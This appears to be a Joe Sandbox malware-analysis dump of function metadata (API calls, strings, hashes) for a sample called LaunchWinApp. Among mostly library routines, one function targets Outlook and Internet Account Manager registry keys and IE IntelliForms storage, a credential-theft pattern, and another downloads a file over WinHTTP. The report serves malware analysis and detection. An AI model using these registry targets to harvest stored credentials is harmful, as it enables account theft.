Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 192399720af7b1210aa4ee101007f75921d421d4c7c6158b90a8f2672e69e493
Instruction ID: a5c9dfe17221ad18005e09e5fe09fdc01f3b7854846f984683439783104368d2
Opcode Fuzzy Hash: 192399720af7b1210aa4ee101007f75921d421d4c7c6158b90a8f2672e69e493
Instruction Fuzzy Hash: A8E08631005504EFEF112F5ADD1894D3F6EFB40751B050425F80886131DB79DD43CB4A

Uniqueness

Uniqueness Score: -1.00%

Function 00458CFF Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,?,?,004569DE,?,20001004,00000000,00000002,?,?,00455FEB), ref: 00458D33

Strings

\1A, xrefs: 00458D1E

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: \1A
API String ID: 2299586839-1566668914
Opcode ID: 00733acd8f7a1e63962e9f169c3f38b0f2ef3220e78299ade2cd4094e79b422a
Instruction ID: 98548b9e2d8b0814a10b6843bb40ea995049b6f606f426fb7482a4ebe1a03d58
Opcode Fuzzy Hash: 00733acd8f7a1e63962e9f169c3f38b0f2ef3220e78299ade2cd4094e79b422a
Instruction Fuzzy Hash: 9CE0DF3500011CBBCF022F62DC09A9E3EA6FF04752F00442AFC0172262EF798824AAD9

Uniqueness

Uniqueness Score: -1.00%

Function 0043615F Relevance: 3.1, APIs: 2, Instructions: 67COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00436164
GetLogicalDriveStringsA.KERNEL32 ref: 004361B1

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: DeallocateDriveH_prologLogicalStrings
String ID:
API String ID: 3000204024-0
Opcode ID: 96e3af9f83cbfd7ab0a4f0fcec2c423001c509b49522c0e20af4edda2d34965a
Instruction ID: d913792027452ddd12bf2adc4502a353d3440404426372cf0a192d27943cd21b
Opcode Fuzzy Hash: 96e3af9f83cbfd7ab0a4f0fcec2c423001c509b49522c0e20af4edda2d34965a
Instruction Fuzzy Hash: 57219AB1C02245AEDB10EFA9D5417EEFFF5AF19308F14405EE484A3282D7B94A04CBA6

Uniqueness

Uniqueness Score: -1.00%

Function 004525EA Relevance: 3.0, APIs: 2, Instructions: 34timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000000), ref: 004525FD
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0045262E

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Time$FileSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 1518329722-0
Opcode ID: a66fcb2d7830fa1dd1191a284929ae0fbf03e259cf893e42bfff633e70e6cfad
Instruction ID: a0213206f9d6618e83a31fffb84ca1d5626d93a1db5db772bd69efcd5023a436
Opcode Fuzzy Hash: a66fcb2d7830fa1dd1191a284929ae0fbf03e259cf893e42bfff633e70e6cfad
Instruction Fuzzy Hash: 6DF02B319002047BEB14CF68CE55B6E77E9FB4531EF24464EA802D3281E6B8DA098749

Uniqueness

Uniqueness Score: -1.00%

Function 004410F5 Relevance: 1.6, APIs: 1, Instructions: 144COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 0044110B

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 30d91c6c6eceee7ea624845c7a6203fdebef525337a75faa7f7fc3de99ac17e2
Instruction ID: 78dda9306d6e0d458aec20655ef60c44ad7b9f2088313bdef2a919ef7099b215
Opcode Fuzzy Hash: 30d91c6c6eceee7ea624845c7a6203fdebef525337a75faa7f7fc3de99ac17e2
Instruction Fuzzy Hash: 70514CB1A012058FEB25CF55D8857AEBBF2FB48310F24896ED505FB3A0D3789984CB58

Uniqueness

Uniqueness Score: -1.00%

Function 004604F2 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf271d08740ef121be158930cd8abc15109b4144b02da9a2b1653b22ea232180
Instruction ID: 0e84909a3eff48e1157ccfb05ef3dbef565af4a23e47577209e0004930552ffc
Opcode Fuzzy Hash: bf271d08740ef121be158930cd8abc15109b4144b02da9a2b1653b22ea232180
Instruction Fuzzy Hash: 774194B1804219AEDB20DF69CC89AABBBB9AB45304F1442DEE41DD3211EA349E848F54

Uniqueness

Uniqueness Score: -1.00%

Function 004634CA Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

Part of subcall function 0045A1CF: _free.LIBCMT ref: 0045A231
Part of subcall function 0045A1CF: _free.LIBCMT ref: 0045A267

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0046351E

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast_free$InfoLocale
String ID:
API String ID: 2003897158-0
Opcode ID: 95efd63ec7a6a1bb89bf21bf336e03b0af13ace4dfe0b24c3486418d3e47b43b
Instruction ID: 4f44656626ac9d70af807bf7cf4b668f42a88681b86125192b83c6577a41e474
Opcode Fuzzy Hash: 95efd63ec7a6a1bb89bf21bf336e03b0af13ace4dfe0b24c3486418d3e47b43b
Instruction Fuzzy Hash: 6121A172604256ABDB289E26CC41ABB73ACEF04316F10047FFD02C7251FA789E058B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00463151 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

EnumSystemLocalesW.KERNEL32(00463277,00000001,00000000,?,-00000050,?,004638A5,00000000,?,?,?,00000055,?), ref: 004631C3

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 53efe1e32a60e72e113017d4e39979414bcff77c047cf9d2419efefb403f62d7
Instruction ID: 5f5e7cf9245bd65d2178e2504efb533cadd3901ecb1c60cd0ca9a106c195852e
Opcode Fuzzy Hash: 53efe1e32a60e72e113017d4e39979414bcff77c047cf9d2419efefb403f62d7
Instruction Fuzzy Hash: 5E11E93A2007015FDB189F39C8A15BAB7A1FF85759B14442EE94787B40E775BA42C744

Uniqueness

Uniqueness Score: -1.00%

Function 004636F6 Relevance: 1.5, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00463493,00000000,00000000,?), ref: 00463722

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 1dff25c004560d134a3382a5f1094f19fd86a0a4d01ada95e2657408cd23a3b9
Instruction ID: 491f126d108cbd4f09aa291da59007a58e4173c39b7137e12a3e4fb0bbb7d615
Opcode Fuzzy Hash: 1dff25c004560d134a3382a5f1094f19fd86a0a4d01ada95e2657408cd23a3b9
Instruction Fuzzy Hash: 26F0F9B6600255ABDB285E25CC05BFB7754EB40766F14882AEC05A3240FA78FF01C59A

Uniqueness

Uniqueness Score: -1.00%

Function 004631EC Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

EnumSystemLocalesW.KERNEL32(004634CA,00000001,00000000,?,-00000050,?,00463869,-00000050,?,?,?,00000055,?,-00000050,?,?), ref: 00463236

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: cf60db168e04f4e7e8066a5bfbe348eca30c7689f8337ac0bcfb34025bfe7bef
Instruction ID: 43dcd588534f9ba41f1c4da59640f0f71cc63822238506521bf04f6801855350
Opcode Fuzzy Hash: cf60db168e04f4e7e8066a5bfbe348eca30c7689f8337ac0bcfb34025bfe7bef
Instruction Fuzzy Hash: 93F046363003045FDB146F36DCD1A7B7B91EF80B29F04446EF9058B681E6B9AD42C604

Uniqueness

Uniqueness Score: -1.00%

Function 004586D2 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00452E47: EnterCriticalSection.KERNEL32(-0004D6F9,?,00454681,00000000,00485CD8,0000000C,00454648,?,?,0045869B,?,?,0045A371,00000001,00000364,00000006), ref: 00452E56

EnumSystemLocalesW.KERNEL32(004586C5,00000001,00485E38,0000000C,00458BA4,00000000), ref: 0045870A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 1d202890ca4664210355ba173891f3f891d9dc9c8124ed4c9ed11025cd4bd11e
Instruction ID: 04de29c1d145811c4558f9444f103b4498ce4987f0c71113c2ec88f8938bdea2
Opcode Fuzzy Hash: 1d202890ca4664210355ba173891f3f891d9dc9c8124ed4c9ed11025cd4bd11e
Instruction Fuzzy Hash: E5F03776A04200DFEB00EF99E842B9D77B0FB09765F20452FF811AB2A1CBB959048F58

Uniqueness

Uniqueness Score: -1.00%

Function 00463106 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0045A1CF: GetLastError.KERNEL32(?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000,00415155), ref: 0045A1D4
Part of subcall function 0045A1CF: SetLastError.KERNEL32(00000000,00000006,000000FF,?,?,?,00452DDB,00485C98,00000008,0043F87A,?,00415450,?,7FFFFFFF,?,00000000), ref: 0045A272

EnumSystemLocalesW.KERNEL32(0046305F,00000001,00000000,?,?,004638C7,-00000050,?,?,?,00000055,?,-00000050,?,?,00000000), ref: 0046313D

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: c3aa56c218d98d16bfaa17ade16a26b7c9216246f475a12d4d728c4b249193cd
Instruction ID: d26f9d7f564e3a0dace032983a3237c1fc2f951e21d912e4c8cd4c7919788a3f
Opcode Fuzzy Hash: c3aa56c218d98d16bfaa17ade16a26b7c9216246f475a12d4d728c4b249193cd
Instruction Fuzzy Hash: 89F05C3530034457CB04AF36CC456A67F95EFC3B21B060059EA058B242D2799D42C755

Uniqueness

Uniqueness Score: -1.00%

Function 0045AAF8 Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec1405ff4b531a2f40d21fc66eee1f666ce24e5371066e553dac401da329c41b
Instruction ID: 4fd589a5a2eac14d427e08e35b9f43ca904a6754cf203175979c70f23e5a2789
Opcode Fuzzy Hash: ec1405ff4b531a2f40d21fc66eee1f666ce24e5371066e553dac401da329c41b
Instruction Fuzzy Hash: 16F0F632A441209BC719DA9C8519B59B39BE705B11F140257EB01EB392C2B8FE04C7C9

Uniqueness

Uniqueness Score: -1.00%

Function 0045AA83 Relevance: .0, Instructions: 29COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6453632eaece89934e7a6284f84e7ef48e98100d22f0aaa775692452f11a6854
Instruction ID: 9c469e4703f267ba214f69fb08b05ecd2c08c8e7fec17f3ad30172b618aa5c3d
Opcode Fuzzy Hash: 6453632eaece89934e7a6284f84e7ef48e98100d22f0aaa775692452f11a6854
Instruction Fuzzy Hash: E2F0A031A112249BCB1ADB8CC944B4973ACEB44B15F11459BF901E7241D7B8DD08C7C8

Uniqueness

Uniqueness Score: -1.00%

Function 0045AAC7 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dcbc6657b823d3309f91c869185bc9853ab1aed32f24dc93abc91c73ac04aa9e
Instruction ID: c252d408c27b30398b4c9cd887e02bd4edce58a2f7e45a711453edc3f3eb5a1f
Opcode Fuzzy Hash: dcbc6657b823d3309f91c869185bc9853ab1aed32f24dc93abc91c73ac04aa9e
Instruction Fuzzy Hash: C9E08C32911228EBCB18DBCDCA0498AF3ECEB45B45B15059BF901E3202C6B4DE44C7E4

Uniqueness

Uniqueness Score: -1.00%

Function 00434908 Relevance: 33.5, APIs: 17, Strings: 2, Instructions: 276fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0043490D
WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000001,0000000F,00000000), ref: 0043494B
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000002,00000080,00000000), ref: 0043496F
WinHttpConnect.WINHTTP(?,00000000,000001BB,00000000,?,00000001,00000000,00000002,00000080,00000000), ref: 00434A3D

Part of subcall function 004390C6: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 004390EB
Part of subcall function 004390C6: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00439132

WinHttpConnect.WINHTTP(?,00000000,00000050,00000000,?,00000001,00000000,00000002,00000080,00000000), ref: 00434A97
WinHttpOpenRequest.WINHTTP(00000000,GET,00000000,00000000,00000000,00000000,00800100,?), ref: 00434B0F
WinHttpOpenRequest.WINHTTP(00000000,GET,00000000,00000000,00000000,00000000,00000100,?), ref: 00434B76
WinHttpSendRequest.WINHTTP(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00434BA6
WinHttpReceiveResponse.WINHTTP(00000000,00000000), ref: 00434BB2
WinHttpQueryDataAvailable.WINHTTP(00000000,?), ref: 00434BC7
WinHttpReadData.WINHTTP(00000000,00000000,?,?), ref: 00434BF2
WriteFile.KERNEL32(?,00000000,?,A7A7BB2C,00000000), ref: 00434C07
GetLastError.KERNEL32 ref: 00434C22
WinHttpCloseHandle.WINHTTP(00000000), ref: 00434C29
WinHttpCloseHandle.WINHTTP(00000000), ref: 00434C33
CloseHandle.KERNEL32(?,00000001,00000000,00000002,00000080,00000000), ref: 00434C3C
WinHttpCloseHandle.WINHTTP(?), ref: 00434C43

Strings

GET, xrefs: 00434B09, 00434B70
%99[^:]://%99[^/]%99[^], xrefs: 00434995

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Http$CloseHandle$OpenRequest$ByteCharConnectDataFileMultiWide$AvailableCreateErrorH_prologLastQueryReadReceiveResponseSendWrite
String ID: %99[^:]://%99[^/]%99[^]$GET
API String ID: 4006077129-3478069819
Opcode ID: 31ccd88d0ea5fcbac2f57e344e71377b9a11b613e4e4578c3cac402c72a841e7
Instruction ID: 5af4c6be2dbc162ad7ceaacfbc26ef85040c522f300265b3c5ec17b35c183e62
Opcode Fuzzy Hash: 31ccd88d0ea5fcbac2f57e344e71377b9a11b613e4e4578c3cac402c72a841e7
Instruction Fuzzy Hash: C2A18D71901259EFDB10DFA1CC85BEEBBB8BF49304F1041AAE405A7241EB786E44CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00435792 Relevance: 28.6, APIs: 3, Strings: 16, Instructions: 102stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00434E00: LoadLibraryA.KERNEL32(?), ref: 00434E3F
Part of subcall function 00434E00: GetProcAddress.KERNEL32(00000000,?), ref: 00434E7A
Part of subcall function 00434E00: FreeLibrary.KERNEL32(00000000), ref: 00434EAE

Part of subcall function 0043525A: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0043527F
Part of subcall function 0043525A: RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00435310
Part of subcall function 0043525A: RegCloseKey.ADVAPI32(?), ref: 0043531D

Part of subcall function 00435327: RegOpenKeyExW.ADVAPI32(80000001,?,00000000,00020019,?), ref: 0043534E
Part of subcall function 00435327: RegEnumKeyExW.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000), ref: 00435379
Part of subcall function 00435327: lstrlenW.KERNEL32(?), ref: 00435390
Part of subcall function 00435327: lstrlenW.KERNEL32(?), ref: 0043539D
Part of subcall function 00435327: lstrcpyW.KERNEL32 ref: 004353BE
Part of subcall function 00435327: lstrcatW.KERNEL32(00000000,0047E440), ref: 004353CA
Part of subcall function 00435327: lstrcatW.KERNEL32(00000000,?), ref: 004353D8
Part of subcall function 00435327: lstrcatW.KERNEL32(00000000,?), ref: 004353E4
Part of subcall function 00435327: RegEnumKeyExW.ADVAPI32(?,?,?,000007FF,00000000,00000000,00000000,00000000), ref: 0043541E
Part of subcall function 00435327: RegCloseKey.ADVAPI32(?), ref: 00435433

Part of subcall function 00435D8C: RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\IntelliForms\Storage2,00000000,00000100,00000100,?,00000000), ref: 00435DD4
Part of subcall function 00435D8C: RegQueryValueExW.ADVAPI32(00000100,?,00000000,?,00000000,00000000,?,00000000), ref: 00435DF3
Part of subcall function 00435D8C: RegQueryValueExW.ADVAPI32(00000100,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00435E2E
Part of subcall function 00435D8C: RegCloseKey.ADVAPI32(00000100,?,00000000), ref: 00435E4F

lstrlenW.KERNEL32(00000000), ref: 004357F4
lstrcpyW.KERNEL32 ref: 0043580C
lstrcpyW.KERNEL32 ref: 00435818

Part of subcall function 0043525A: lstrlenW.KERNEL32(?), ref: 004352A5
Part of subcall function 0043525A: lstrcpyW.KERNEL32 ref: 004352C2
Part of subcall function 0043525A: lstrcatW.KERNEL32(00000000,0047E440), ref: 004352CE
Part of subcall function 0043525A: lstrcatW.KERNEL32(00000000,?), ref: 004352DC

Part of subcall function 00445EF8: _free.LIBCMT ref: 00445F0B

Strings

Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook, xrefs: 00435872
Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook, xrefs: 0043588E
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings, xrefs: 0043584B
Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook, xrefs: 00435856
Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook, xrefs: 004358BE
Outlook, xrefs: 004357D5
Software\Microsoft\Internet Account Manager\Accounts, xrefs: 004357B0
Identities, xrefs: 004357C6
Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook, xrefs: 00435864
Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts, xrefs: 00435839
Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook, xrefs: 004358AA
\Software\Microsoft\Internet Account Manager\Accounts, xrefs: 004357BC
\Accounts, xrefs: 00435812
Software\Microsoft\Internet Account Manager, xrefs: 004357DA
Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook, xrefs: 00435880
Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook, xrefs: 0043589C

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpylstrlen$CloseEnumOpen$LibraryQueryValue$AddressFreeLoadProc_free
String ID: Identities$Outlook$Software\Microsoft\Internet Account Manager$Software\Microsoft\Internet Account Manager\Accounts$Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\14.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook$Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings$Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook$\Accounts$\Software\Microsoft\Internet Account Manager\Accounts
API String ID: 527226083-92925148
Opcode ID: 52ca32acb80db4437e2020b10a5da6ba3c5dd28f00778ef8e4dc34acd294d9cc
Instruction ID: 52e7072680fc62cdb320c780ebfe52bbf98b90ab59bff941ca607e0908511d4c
Opcode Fuzzy Hash: 52ca32acb80db4437e2020b10a5da6ba3c5dd28f00778ef8e4dc34acd294d9cc
Instruction Fuzzy Hash: 9B314FB1500608BEE704EBA2DD83DFE73BCEB5C748FA0559EF44516081EFB85E059A29

Uniqueness

Uniqueness Score: -1.00%

Function 0045B69F Relevance: 25.9, APIs: 17, Instructions: 411COMMON

Download Yara Rule

APIs

___from_strstr_to_strchr.LIBCMT ref: 0045B6C9
_free.LIBCMT ref: 0045B7A2
_free.LIBCMT ref: 0045B7CF

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$___from_strstr_to_strchr
String ID:
API String ID: 3409252457-0
Opcode ID: fe642fdafbf68be05d66de69230605fe2dbcd6f0e9d18b9567630cbbf145f747
Instruction ID: 69a80de526f5df8ff07eeffc47bdc291ca6a6fa3de145c66cb203f50907c2813
Opcode Fuzzy Hash: fe642fdafbf68be05d66de69230605fe2dbcd6f0e9d18b9567630cbbf145f747
Instruction Fuzzy Hash: E0D1F3B1900305AFDB20BF758882A6E77A8EF05316F14456FED4197383EB389949CB9D

Uniqueness

Uniqueness Score: -1.00%

Function 0045296C Relevance: 22.9, APIs: 15, Instructions: 357COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 004529DB
_free.LIBCMT ref: 004529F1
_free.LIBCMT ref: 00452A04
_free.LIBCMT ref: 00452A19
_free.LIBCMT ref: 00452A2E
GetCPInfo.KERNEL32(?,?), ref: 00452A78

Part of subcall function 0045E12F: _free.LIBCMT ref: 0045E19A

_free.LIBCMT ref: 00452CE3
_free.LIBCMT ref: 00452CF6
_free.LIBCMT ref: 00452D04
_free.LIBCMT ref: 00452D0F
_free.LIBCMT ref: 00452D51
_free.LIBCMT ref: 00452D59
_free.LIBCMT ref: 00452D5F
_free.LIBCMT ref: 00452D67
_free.LIBCMT ref: 00452D75

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free$Info
String ID:
API String ID: 2509303402-0
Opcode ID: 66d5b842ddd007ef9f6ea2b1259c3b11835b80d0f4a0a8f82ece8eb51989f7b6
Instruction ID: 1a47956bf63ae8cc2768381a9d877290177edccec9af289c0c6ce20b900da36a
Opcode Fuzzy Hash: 66d5b842ddd007ef9f6ea2b1259c3b11835b80d0f4a0a8f82ece8eb51989f7b6
Instruction Fuzzy Hash: F1D1AF719003059FDB218F65C981BEEBBB5BF09305F14402EE895BB353DBB8A849CB58

Uniqueness

Uniqueness Score: -1.00%

Function 0044F519 Relevance: 21.4, APIs: 2, Strings: 10, Instructions: 403COMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000006,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0044F5BF
GetModuleFileNameW.KERNEL32(?,?,00000105,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 0044F5E3

Strings

\, xrefs: 0044F6E0
Program: , xrefs: 0044F581
Assertion failed!, xrefs: 0044F53D
..., xrefs: 0044F63E, 0044F75D, 0044F7AF, 0044F8F3, 0044F976, 0044F9A9
Line: , xrefs: 0044F7FF
<program name unknown>, xrefs: 0044F5ED
File: , xrefs: 0044F689
For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts, xrefs: 0044F922
(Press Retry to debug the application - JIT must be enabled), xrefs: 0044F94C
Expression: , xrefs: 0044F879

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Module$FileHandleName
String ID: (Press Retry to debug the application - JIT must be enabled)$...$<program name unknown>$Assertion failed!$Expression: $File: $For information on how your program can cause an assertionfailure, see the Visual C++ documentation on asserts$Line: $Program: $\
API String ID: 4146042529-3261600717
